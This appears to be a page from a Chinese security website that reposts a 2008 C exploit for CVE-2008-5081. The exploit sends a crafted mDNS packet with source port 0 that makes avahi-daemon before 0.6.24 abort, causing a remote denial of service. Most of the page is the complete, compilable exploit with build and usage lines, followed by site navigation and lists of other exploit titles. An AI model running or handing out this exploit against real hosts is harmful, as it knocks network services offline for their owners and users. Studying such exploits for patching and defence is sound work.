首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Avahi < 0.6.24 (mDNS Daemon) Remote Denial of Service Exploit
来源:http://jon.oberheide.org 作者:Oberheide 发布时间:2008-12-22  
/*
* cve-2008-5081.c
*
* Avahi mDNS Daemon Remote DoS < 0.6.24
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Usage:
*
*   gcc cve-2008-5081.c -ldnet -o cve-2008-5081
*   ./cve-2008-5081 1.2.3.4

* Information:
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5081
*   
*   Crafted mDNS packet with source port 0 can cause avahi-daemon 
*   to abort() due to failed assertion assert(port > 0); in 
*   originates_from_local_legacy_unicast_socket() function in
*   avahi-core/server.c.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dnet.h>

int
main(int argc, char **argv)
{
    ip_t *sock;
    intf_t *intf;
    struct addr dst;
    struct ip_hdr *ip;
    struct udp_hdr *udp;
    struct intf_entry entry;
    int len = IP_HDR_LEN + UDP_HDR_LEN;
    char buf[len];

    if (argc < 2 || addr_aton(argv[1], &dst)) { 
        printf("error: please specify a target ip address\n");
        return 1;
    }

    memset(buf, 0, sizeof(buf));

    ip = (struct ip_hdr *) buf;
    ip->ip_v = 4;
    ip->ip_hl = 5;
    ip->ip_tos = 0;
    ip->ip_off = 0;
    ip->ip_sum = 0;
    ip->ip_ttl = IP_TTL_MAX;
    ip->ip_p = IP_PROTO_UDP;
    ip->ip_id = htons(0xdead);
    ip->ip_len = htons(len);

    udp = (struct udp_hdr *) (buf + IP_HDR_LEN);
   
    udp->uh_sum = 0;
    udp->uh_sport = htons(0);
    udp->uh_dport = htons(5353);
    udp->uh_ulen = htons(UDP_HDR_LEN);

    intf = intf_open();
    intf_get_dst(intf, &entry, &dst);
    intf_close(intf);

    ip->ip_src = entry.intf_addr.addr_ip;
    ip->ip_dst = dst.addr_ip;
    ip_checksum(buf, len);

    sock = ip_open();
    if (!sock) {
        printf("error: root privileges needed for raw socket\n");
        return 1;
    }
    ip_send(sock, buf, len);
    ip_close(sock);

    return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MyPBS (index.php seasonID) Rem
·2532Gigs 1.2.2 Stable Remote C
·ReVou Twitter Clone Admin Pass
·OneOrZero helpdesk 1.6.*. Remo
·Microsoft Outlook Express DoS
·Linksys Wireless ADSL Router (
·Lizardware CMS <= 0.6.0 Blind
·CoolPlayer 2.19 (Skin File) Lo
·Phoenician Casino FlashAX Acti
·RSS Simple News (news.php pid)
·PHP python extension safe_mode
·Pligg 9.9.5b (check_url.php ur
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved